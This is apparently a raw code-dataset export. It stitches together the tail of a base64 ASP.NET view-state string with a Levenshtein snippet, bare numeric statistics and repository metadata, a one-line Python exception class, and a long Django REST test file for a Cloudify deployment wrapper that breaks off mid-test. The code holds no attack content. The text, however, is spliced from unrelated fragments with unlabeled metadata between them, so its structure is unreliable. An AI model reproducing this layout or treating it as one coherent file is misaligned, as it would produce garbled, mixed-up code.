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' print Levenshtein.distance(url1, url2) print Levenshtein.jaro(url1, url2) print Levenshtein.ratio(url1, url2)

1,046.166667

6,243

0.97451

258

12,554

47.410853

0.813953

0.003924

0.001962

0.002453

0.027796

0.020438

0

0.105591

0.002708

12,554

12

6,244

1,046.166667

0.871406

0.003425

0

0.5

0.98649

0.962187

0

1

0

null

0

0.125

null

0.375

0

1

null

0

1

0

1

null

1

0

1

0

8

535032ac99724be5b0f8daa2876c8c5e6da1aa50

131

py

Python

src/infrastructure/errors/unable_to_normalize_image_exception.py

OzielFilho/ProjetoFinalPdi

c9e6fe415f1a985d6eeac204580d3ab623026665

[ "MIT" ]

null

src/infrastructure/errors/unable_to_normalize_image_exception.py

OzielFilho/ProjetoFinalPdi

c9e6fe415f1a985d6eeac204580d3ab623026665

[ "MIT" ]

null

src/infrastructure/errors/unable_to_normalize_image_exception.py

OzielFilho/ProjetoFinalPdi

c9e6fe415f1a985d6eeac204580d3ab623026665

[ "MIT" ]

null

from infrastructure.errors.image_exception import ImageException class UnableToNormalizeImageException(ImageException): pass

21.833333

64

0.862595

11

131

10.181818

0.909091

0

0.099237

131

5

65

26.2

0.949153

0

1

0

true

0.333333

0

0.666667

0

1

0

1

null

0

1

0

null

0

1

0

1

0

7

726839af1d4b202a3450d9fd6e69b828549c7f90

30,591

py

Python

dice_deploy_django/cfy_wrapper/tests/test_views.py

dice-project/DICE-deployment-service

e209c6a061a78f170e81cfc03d2959af0283ed15

[ "Apache-2.0" ]

2

2018-04-03T20:45:26.000Z

2022-02-07T19:53:42.000Z

dice_deploy_django/cfy_wrapper/tests/test_views.py

dice-project/DICE-deployment-service

e209c6a061a78f170e81cfc03d2959af0283ed15

[ "Apache-2.0" ]

3

2016-11-15T10:41:43.000Z

2020-03-16T07:49:03.000Z

dice_deploy_django/cfy_wrapper/tests/test_views.py

dice-project/DICE-deployment-service

e209c6a061a78f170e81cfc03d2959af0283ed15

[ "Apache-2.0" ]

2

2018-07-04T11:37:12.000Z

2022-02-07T19:53:43.000Z

from .base import BaseViewTest, date2str, identity, Field from cfy_wrapper.models import Blueprint, Container, Input, Error from cfy_wrapper.views import ( HeartBeatView, ContainersView, ContainerIdView, ContainerBlueprintView, ContainerNodesView, ContainerErrorsView, InputsView, BlueprintIdView ) from django.core.urlresolvers import reverse from rest_framework.response import Response from rest_framework import status import mock import json import io CONTAINER_FIELDS = ( Field("id", str, "id"), Field("description", identity, "description"), Field("modified_date", date2str, "modified_date"), # Blueprint field is tested separately ) BLUEPRINT_FIELDS = ( Field("cfy_id", identity, "id"), Field("state_name", identity, "state_name"), Field("modified_date", date2str, "modified_date"), Field("outputs", identity, "outputs") ) INPUT_FIELDS = ( Field("key", identity, "key"), Field("value", identity, "value"), Field("description", identity, "description"), ) ERROR_FIELDS = ( Field("id", str, "id"), Field("message", identity, "message"), Field("created", date2str, "created"), ) class HeartBeatTest(BaseViewTest): def test_alive_no_auth(self): req = self.get(reverse("heartbeat"), auth=False) resp = HeartBeatView.as_view()(req) self.assertEqual(status.HTTP_200_OK, resp.status_code) def test_alive_auth(self): req = self.get(reverse("heartbeat"), auth=True) resp = HeartBeatView.as_view()(req) self.assertEqual(status.HTTP_200_OK, resp.status_code) class ContainersTest(BaseViewTest): def test_not_auth(self): req = self.get(reverse("containers"), auth=False) resp = ContainersView.as_view()(req) self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code) @mock.patch.object(ContainersView, "get", return_value=Response({})) def test_get_route(self, mock_method): url = reverse("containers") self.client.get(url) mock_method.assert_called_once() def test_get_empty(self): cs = [Container.objects.create() for _ in range(4)] req = self.get(reverse("containers"), auth=True) resp = ContainersView.as_view()(req) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.compare(CONTAINER_FIELDS, resp.data, cs) for item in resp.data: self.assertIsNone(item["blueprint"]) def test_get_render_empty(self): cs = [Container.objects.create() for _ in range(3)] url = reverse("containers") resp = self.client.get(url) self.assertEqual(status.HTTP_200_OK, resp.status_code) data = json.loads(resp.content) self.compare(CONTAINER_FIELDS, data, cs) for item in data: self.assertIsNone(item["blueprint"]) def test_get_non_empty(self): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) req = self.get(reverse("containers"), auth=True) resp = ContainersView.as_view()(req) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.compare(CONTAINER_FIELDS, resp.data, c) self.compare(BLUEPRINT_FIELDS, resp.data[0]["blueprint"], b) def test_get_render_non_empty(self): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) url = reverse("containers") resp = self.client.get(url) self.assertEqual(status.HTTP_200_OK, resp.status_code) data = json.loads(resp.content) self.compare(CONTAINER_FIELDS, data, c) self.compare(BLUEPRINT_FIELDS, data[0]["blueprint"], b) def test_get_no_containers(self): req = self.get(reverse("containers"), auth=True) resp = ContainersView.as_view()(req) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.assertEqual([], resp.data) def test_get_no_containers_render(self): url = reverse("containers") resp = self.client.get(url) self.assertEqual(status.HTTP_200_OK, resp.status_code) data = json.loads(resp.content) self.assertEqual([], data) @mock.patch.object(ContainersView, "post", return_value=Response({})) def test_post_route(self, mock_method): url = reverse("containers") self.client.post(url) mock_method.assert_called_once() def test_post(self): data = {"description": "sample-desc"} req = self.post(reverse("containers"), data, auth=True) resp = ContainersView.as_view()(req) self.assertEqual(status.HTTP_201_CREATED, resp.status_code) c = Container.objects.all()[0] self.compare(CONTAINER_FIELDS, resp.data, c) self.assertIsNone(resp.data["blueprint"]) def test_post_render(self): data = {"description": "sample-desc"} url = reverse("containers") resp = self.client.post(url, data=data) self.assertEqual(status.HTTP_201_CREATED, resp.status_code) data = json.loads(resp.content) c = Container.objects.all()[0] self.compare(CONTAINER_FIELDS, data, c) self.assertIsNone(data["blueprint"]) class ContainerIdTest(BaseViewTest): def test_not_auth(self): kw = dict(id="abc") req = self.get(reverse("container_id", kwargs=kw), auth=False) resp = ContainerIdView.as_view()(req, **kw) self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code) @mock.patch.object(ContainerIdView, "get", return_value=Response({})) def test_get_route(self, mock_method): kw = dict(id="abc") url = reverse("container_id", kwargs=kw) self.client.get(url) mock_method.assert_called_once() def test_get_empty(self): c = Container.objects.create() kw = dict(id=str(c.id)) req = self.get(reverse("container_id", kwargs=kw), auth=True) resp = ContainerIdView.as_view()(req, **kw) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.compare(CONTAINER_FIELDS, resp.data, c) self.assertIsNone(resp.data["blueprint"]) def test_get_render_empty(self): c = Container.objects.create() kw = dict(id=str(c.id)) url = reverse("container_id", kwargs=kw) resp = self.client.get(url) self.assertEqual(status.HTTP_200_OK, resp.status_code) data = json.loads(resp.content) self.compare(CONTAINER_FIELDS, data, c) self.assertIsNone(data["blueprint"]) def test_get_non_empty(self): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(id=str(c.id)) req = self.get(reverse("container_id", kwargs=kw), auth=True) resp = ContainerIdView.as_view()(req, **kw) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.compare(CONTAINER_FIELDS, resp.data, c) self.compare(BLUEPRINT_FIELDS, resp.data["blueprint"], b) def test_get_render_non_empty(self): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(id=str(c.id)) url = reverse("container_id", kwargs=kw) resp = self.client.get(url) self.assertEqual(status.HTTP_200_OK, resp.status_code) data = json.loads(resp.content) self.compare(CONTAINER_FIELDS, data, c) self.compare(BLUEPRINT_FIELDS, data["blueprint"], b) def test_get_no_containers(self): kw = dict(id="abc") req = self.get(reverse("container_id", kwargs=kw), auth=True) resp = ContainerIdView.as_view()(req, **kw) self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code) self.assertIn("detail", resp.data) @mock.patch.object(ContainerIdView, "delete", return_value=Response({})) def test_delete_route(self, mock_method): kw = dict(id="abc") url = reverse("container_id", kwargs=kw) self.client.delete(url) mock_method.assert_called_once() def test_delete_empty(self): c = Container.objects.create() kw = dict(id=str(c.id)) req = self.delete(reverse("container_id", kwargs=kw), auth=True) resp = ContainerIdView.as_view()(req, **kw) self.assertEqual(status.HTTP_204_NO_CONTENT, resp.status_code) def test_delete_render_empty(self): c = Container.objects.create() kw = dict(id=str(c.id)) url = reverse("container_id", kwargs=kw) resp = self.client.delete(url) self.assertEqual(status.HTTP_204_NO_CONTENT, resp.status_code) def test_delete_non_empty(self): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(id=str(c.id)) req = self.delete(reverse("container_id", kwargs=kw), auth=True) resp = ContainerIdView.as_view()(req, **kw) self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code) self.assertIn("detail", resp.data) def test_delete_render_non_empty(self): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(id=str(c.id)) url = reverse("container_id", kwargs=kw) resp = self.client.delete(url) self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code) self.assertIn("detail", resp.data) def test_delete_no_containers(self): kw = dict(id="abc") req = self.delete(reverse("container_id", kwargs=kw), auth=True) resp = ContainerIdView.as_view()(req, **kw) self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code) self.assertIn("detail", resp.data) class ContainerBlueprintTest(BaseViewTest): def test_not_auth(self): kw = dict(id="abc") req = self.get(reverse("container_blueprint", kwargs=kw), auth=False) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code) @mock.patch.object(ContainerBlueprintView, "get", return_value=Response({})) def test_get_route(self, mock_get): kw = dict(id="abc") url = reverse("container_blueprint", kwargs=kw) self.client.get(url, **kw) mock_get.assert_called_once() def test_get(self): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(id=str(c.id)) req = self.get(reverse("container_blueprint", kwargs=kw), auth=True) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.compare(BLUEPRINT_FIELDS, resp.data, b) def test_get_render(self): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(id=str(c.id)) url = reverse("container_blueprint", kwargs=kw) resp = self.client.get(url) self.assertEqual(status.HTTP_200_OK, resp.status_code) data = json.loads(resp.content) self.compare(BLUEPRINT_FIELDS, data, b) def test_get_no_container(self): kw = dict(id="abc") req = self.get(reverse("container_blueprint", kwargs=kw), auth=True) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code) self.assertIn("detail", resp.data) def test_get_no_blueprint(self): c = Container.objects.create() kw = dict(id=str(c.id)) req = self.get(reverse("container_blueprint", kwargs=kw), auth=True) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code) self.assertIn("detail", resp.data) @mock.patch.object(ContainerBlueprintView, "post", return_value=Response({})) def test_post_route(self, mock_method): kw = dict(id="abc") url = reverse("container_blueprint", kwargs=kw) self.client.post(url) mock_method.assert_called_once() @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK")) def test_post_no_file(self, mock_sync): c = Container.objects.create() kw = dict(id=str(c.id)) req = self.post(reverse("container_blueprint", kwargs=kw), data=None, auth=True) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code) self.assertIn("detail", resp.data) self.assertIsNone(c.blueprint) self.assertEqual(0, Blueprint.objects.all().count()) mock_sync.assert_not_called() @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK")) def test_post_invalid_file(self, mock_sync): c = Container.objects.create() b = io.StringIO(u"} not { valid } yaml {{") kw = dict(id=str(c.id)) req = self.post(reverse("container_blueprint", kwargs=kw), data={"file": b}, auth=True, format="multipart") resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code) self.assertIn("detail", resp.data) c.refresh_from_db() self.assertIsNone(c.blueprint) self.assertEqual(0, Blueprint.objects.all().count()) mock_sync.assert_not_called() @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK")) def test_post_valid_empty_success(self, mock_sync): c = Container.objects.create() b = io.StringIO(u"valid: yaml") kw = dict(id=str(c.id)) req = self.post(reverse("container_blueprint", kwargs=kw), data={"file": b}, auth=True, format="multipart") resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code) mock_sync.assert_called_once() self.assertEqual(mock_sync.mock_calls[0][1][0], c) self.assertEqual(mock_sync.mock_calls[0][1][2], False) @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK")) def test_post_valid_empty_success_register(self, mock_sync): c = Container.objects.create() b = io.StringIO(u"valid: yaml") kw = dict(id=str(c.id)) req = self.post(reverse("container_blueprint", kwargs=kw) + "?register_app=True", data={"file": b}, auth=True, format="multipart") resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code) mock_sync.assert_called_once() self.assertEqual(mock_sync.mock_calls[0][1][0], c) self.assertEqual(mock_sync.mock_calls[0][1][2], True) @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK")) def test_post_valid_empty_success_no_register(self, mock_sync): c = Container.objects.create() b = io.StringIO(u"valid: yaml") kw = dict(id=str(c.id)) req = self.post(reverse("container_blueprint", kwargs=kw) + "?register_app=false", data={"file": b}, auth=True, format="multipart") resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code) mock_sync.assert_called_once() self.assertEqual(mock_sync.mock_calls[0][1][0], c) self.assertEqual(mock_sync.mock_calls[0][1][2], False) @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK")) def test_post_valid_empty_success_metadata(self, mock_sync): c = Container.objects.create() b = io.StringIO(u"valid: yaml") kw = dict(id=str(c.id)) metadata = {"mkey 1": "mvalue 1", "mkey 2": "mvalue 2"} data = {"file": b} data.update(metadata) req = self.post( reverse("container_blueprint", kwargs=kw) + "?register_app=True", data=data, auth=True, format="multipart" ) resp = ContainerBlueprintView.as_view()(req, **kw) blueprint = list(Blueprint.objects.all())[0] stored_metadata = {m.key: m.value for m in blueprint.metadata.all()} self.assertEqual(metadata, stored_metadata) self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code) mock_sync.assert_called_once() self.assertEqual(mock_sync.mock_calls[0][1][0], c) self.assertEqual(mock_sync.mock_calls[0][1][2], True) @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(False, "NO")) def test_post_valid_empty_fail(self, mock_sync): c = Container.objects.create() b = io.StringIO(u"valid: yaml") kw = dict(id=str(c.id)) req = self.post(reverse("container_blueprint", kwargs=kw), data={"file": b}, auth=True, format="multipart") resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_409_CONFLICT, resp.status_code) mock_sync.assert_called_once() self.assertEqual(mock_sync.mock_calls[0][1][0], c) self.assertEqual(mock_sync.mock_calls[0][1][2], False) def test_post_no_container(self): kw = dict(id="abc") b = io.StringIO(u"valid: yaml") req = self.post(reverse("container_blueprint", kwargs=kw), data={"file": b}, auth=True) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code) self.assertIn("detail", resp.data) @mock.patch.object(ContainerBlueprintView, "delete", return_value=Response({})) def test_delete_route(self, mock_method): kw = dict(id="abc") url = reverse("container_blueprint", kwargs=kw) self.client.delete(url) mock_method.assert_called_once() def test_delete_invalid_container(self): kw = dict(id="abc") req = self.delete(reverse("container_blueprint", kwargs=kw), auth=True) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code) self.assertIn("detail", resp.data) def test_delete_busy_container(self): b = Blueprint.objects.create() c = Container.objects.create(busy=True, blueprint=b) kw = dict(id=str(c.id)) req = self.delete(reverse("container_blueprint", kwargs=kw), auth=True) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_409_CONFLICT, resp.status_code) self.assertIn("detail", resp.data) c.refresh_from_db() self.assertEqual(b, c.blueprint) def test_delete_no_blueprint(self): c = Container.objects.create() kw = dict(id=str(c.id)) req = self.delete(reverse("container_blueprint", kwargs=kw), auth=True) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code) self.assertIn("detail", resp.data) @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK")) def test_delete_sync_success(self, mock_sync): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(id=str(c.id)) req = self.delete(reverse("container_blueprint", kwargs=kw), auth=True) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code) mock_sync.assert_called_once() self.assertEqual(mock_sync.mock_calls[0][1][0], c) self.assertIsNone(mock_sync.mock_calls[0][1][1]) self.assertEqual(mock_sync.mock_calls[0][1][2], False) @mock.patch("cfy_wrapper.tasks.sync_container", return_value=(False, "NO")) def test_delete_sync_fail(self, mock_sync): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = dict(id=str(c.id)) req = self.delete(reverse("container_blueprint", kwargs=kw), auth=True) resp = ContainerBlueprintView.as_view()(req, **kw) self.assertEqual(status.HTTP_409_CONFLICT, resp.status_code) mock_sync.assert_called_once() self.assertEqual(mock_sync.mock_calls[0][1][0], c) self.assertIsNone(mock_sync.mock_calls[0][1][1]) class InputsTest(BaseViewTest): def test_not_auth(self): req = self.get(reverse("inputs"), auth=False) resp = InputsView.as_view()(req) self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code) @mock.patch.object(InputsView, "get", return_value=Response({})) def test_get_route(self, mock_get): url = reverse("inputs") self.client.get(url) mock_get.assert_called_once() def test_get(self): ins = [Input.objects.create(key=str(n), value="v") for n in range(4)] req = self.get(reverse("inputs"), auth=True) resp = InputsView.as_view()(req) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.compare(INPUT_FIELDS, resp.data, ins) def test_get_render(self): ins = [Input.objects.create(key=str(n), value="v") for n in range(4)] url = reverse("inputs") resp = self.client.get(url) self.assertEqual(status.HTTP_200_OK, resp.status_code) data = json.loads(resp.content) self.compare(INPUT_FIELDS, data, ins) def test_get_empty(self): req = self.get(reverse("inputs"), auth=True) resp = InputsView.as_view()(req) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.assertEqual(resp.data, []) @mock.patch.object(InputsView, "post", return_value=Response({})) def test_post_route(self, mock_get): url = reverse("inputs") self.client.post(url) mock_get.assert_called_once() def test_post(self): data = [{ "key": "k1", "value": "v1", "description": "d1", }, { "key": "k2", "value": "v2", }] req = self.post(reverse("inputs"), data, auth=True) resp = InputsView.as_view()(req) self.assertEqual(status.HTTP_201_CREATED, resp.status_code) ins = list(Input.objects.all()) self.compare(INPUT_FIELDS, resp.data, ins) def test_post_render(self): data = [{ "key": "k1", "value": "v1", "description": "d1", }, { "key": "k2", "value": "v2", }] url = reverse("inputs") resp = self.client.post(url, data=data, format="json") self.assertEqual(status.HTTP_201_CREATED, resp.status_code) ins = list(Input.objects.all()) data = json.loads(resp.content) self.compare(INPUT_FIELDS, data, ins) def test_post_invalid(self): data = [{ "key": "k1", "description": "d1", }, { "key": "k2", "value": "v2", }] req = self.post(reverse("inputs"), data, auth=True) resp = InputsView.as_view()(req) self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code) self.assertEqual(0, Input.objects.all().count()) self.assertEqual(2, len(resp.data)) @mock.patch.object(InputsView, "delete", return_value=Response({})) def test_delete_route(self, mock_get): url = reverse("inputs") self.client.delete(url) mock_get.assert_called_once() def test_delete(self): for n in range(4): Input.objects.create(key=str(n), value="v") req = self.delete(reverse("inputs"), auth=True) resp = InputsView.as_view()(req) self.assertEqual(status.HTTP_204_NO_CONTENT, resp.status_code) self.assertEqual(0, Input.objects.all().count()) class ContainerNodesTest(BaseViewTest): def test_not_auth(self): c = Container.objects.create() kw = dict(id=c.cfy_id) req = self.get(reverse("container_nodes", kwargs=kw), auth=False) resp = ContainerNodesView.as_view()(req, **kw) self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code) @mock.patch.object(ContainerNodesView, "get", return_value=Response({})) def test_get_route(self, mock_method): c = Container.objects.create() kw = dict(id=c.cfy_id) url = reverse("container_nodes", kwargs=kw) self.client.get(url) mock_method.assert_called_once() def test_get_empty(self): c = Container.objects.create() kw = dict(id=c.cfy_id) req = self.get(reverse("container_nodes", kwargs=kw), auth=True) resp = ContainerNodesView.as_view()(req, **kw) self.assertEqual(status.HTTP_200_OK, resp.status_code) self.assertEqual(len(resp.data), 0) @mock.patch("cfy_wrapper.utils.CloudifyClient") def test_get_non_empty(self, mock_cfy): b = Blueprint.objects.create() c = Container.objects.create(blueprint=b) kw = 